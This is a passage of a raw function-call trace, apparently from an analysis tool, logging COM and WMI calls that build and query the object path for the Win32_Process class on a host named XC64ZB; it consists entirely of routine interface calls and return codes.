ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0108.242] WbemDefPath:IUnknown:AddRef (This=0x5a2d60) returned 0x3 [0108.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2d60, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0108.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2d60, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0108.242] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2d60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4abbf0) returned 0x0 [0108.242] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abbf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.242] WbemDefPath:IUnknown:Release (This=0x1b4abbf0) returned 0x3 [0108.243] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0108.243] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0108.243] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2d60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0108.243] WbemDefPath:IUnknown:Release (This=0x5a2d60) returned 0x2 [0108.243] WbemDefPath:IUnknown:Release (This=0x5a2d60) returned 0x1 [0108.243] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0108.243] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0108.243] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2d60, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x5a2d60) returned 0x0 [0108.243] WbemDefPath:IUnknown:AddRef (This=0x5a2d60) returned 0x3 [0108.243] WbemDefPath:IUnknown:Release (This=0x5a2d60) returned 0x2 [0108.243] WbemDefPath:IWbemPath:SetText (This=0x5a2d60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0108.243] IWbemClassObject:Get (in: This=0x1b4ae630, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0108.243] SysStringByteLen (bstr="XC64ZB") returned 0xc [0108.243] SysStringByteLen (bstr="XC64ZB") returned 0xc [0108.243] IWbemClassObject:Get (in: This=0x1b4ae630, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0108.244] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0108.244] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0108.244] IWbemClassObject:Get (in: This=0x1b4ae630, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0108.244] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0108.244] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0108.244] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0108.244] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0108.244] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0108.244] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.245] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4abdf0) returned 0x0 [0108.245] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abdf0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0108.245] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abdf0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x5a34e0) returned 0x0 [0108.245] WbemDefPath:IUnknown:Release (This=0x1b4abdf0) returned 0x0 [0108.245] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a34e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x5a34e0) returned 0x0 [0108.245] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a34e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0108.245] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a34e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0108.245] WbemDefPath:IUnknown:AddRef (This=0x5a34e0) returned 0x3 [0108.245] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a34e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0108.245] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a34e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0108.246] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a34e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4aba50) returned 0x0 [0108.246] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4aba50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.246] WbemDefPath:IUnknown:Release (This=0x1b4aba50) returned 0x3 [0108.246] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0108.246] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0108.246] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a34e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0108.246] WbemDefPath:IUnknown:Release (This=0x5a34e0) returned 0x2 [0108.246] WbemDefPath:IUnknown:Release (This=0x5a34e0) returned 0x1 [0108.246] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0108.246] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0108.246] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a34e0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x5a34e0) returned 0x0 [0108.246] WbemDefPath:IUnknown:AddRef (This=0x5a34e0) returned 0x3 [0108.246] WbemDefPath:IUnknown:Release (This=0x5a34e0) returned 0x2 [0108.246] WbemDefPath:IWbemPath:SetText (This=0x5a34e0, uMode=0x4, pszPath="") returned 0x0 [0108.246] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0108.246] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0108.289] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0108.289] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.290] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4aba70) returned 0x0 [0108.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aba70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0108.290] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4aba70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x5a2820) returned 0x0 [0108.290] WbemDefPath:IUnknown:Release (This=0x1b4aba70) returned 0x0 [0108.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2820, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x5a2820) returned 0x0 [0108.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2820, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0108.290] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2820, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0108.291] WbemDefPath:IUnknown:AddRef (This=0x5a2820) returned 0x3 [0108.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2820, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0108.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2820, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0108.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2820, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4abaf0) returned 0x0 [0108.291] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abaf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.291] WbemDefPath:IUnknown:Release (This=0x1b4abaf0) returned 0x3 [0108.291] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0108.291] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0108.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2820, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0108.291] WbemDefPath:IUnknown:Release (This=0x5a2820) returned 0x2 [0108.291] WbemDefPath:IUnknown:Release (This=0x5a2820) returned 0x1 [0108.291] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0108.291] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0108.291] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2820, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x5a2820) returned 0x0 [0108.291] WbemDefPath:IUnknown:AddRef (This=0x5a2820) returned 0x3 [0108.292] WbemDefPath:IUnknown:Release (This=0x5a2820) returned 0x2 [0108.292] WbemDefPath:IWbemPath:SetText (This=0x5a2820, uMode=0x4, pszPath="") returned 0x0 [0108.292] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5a2820, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0108.292] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5a34e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0108.292] WbemDefPath:IWbemPath:GetClassName (in: This=0x5a2820, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0108.292] WbemDefPath:IWbemPath:GetServer (in: This=0x5a2820, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0108.292] WbemDefPath:IWbemPath:SetServer (This=0x5a2820, Name="XC64ZB") returned 0x0 [0108.292] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0108.292] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0108.292] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0108.292] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.293] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4abc90) returned 0x0 [0108.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abc90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0108.293] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abc90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x5a2be0) returned 0x0 [0108.293] WbemDefPath:IUnknown:Release (This=0x1b4abc90) returned 0x0 [0108.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2be0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x5a2be0) returned 0x0 [0108.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2be0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0108.293] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2be0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0108.294] WbemDefPath:IUnknown:AddRef (This=0x5a2be0) returned 0x3 [0108.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2be0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0108.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2be0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0108.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2be0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4abcb0) returned 0x0 [0108.294] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abcb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.294] WbemDefPath:IUnknown:Release (This=0x1b4abcb0) returned 0x3 [0108.294] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0108.294] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0108.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2be0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0108.294] WbemDefPath:IUnknown:Release (This=0x5a2be0) returned 0x2 [0108.294] WbemDefPath:IUnknown:Release (This=0x5a2be0) returned 0x1 [0108.294] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0108.294] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0108.294] WbemDefPath:IUnknown:QueryInterface (in: This=0x5a2be0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x5a2be0) returned 0x0 [0108.295] WbemDefPath:IUnknown:AddRef (This=0x5a2be0) returned 0x3 [0108.295] WbemDefPath:IUnknown:Release (This=0x5a2be0) returned 0x2 [0108.295] WbemDefPath:IWbemPath:SetText (This=0x5a2be0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5a2820, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5a2be0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetText (in: This=0x5a2be0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetText (in: This=0x5a2be0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0108.295] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5a2820) returned 0x0 [0108.295] 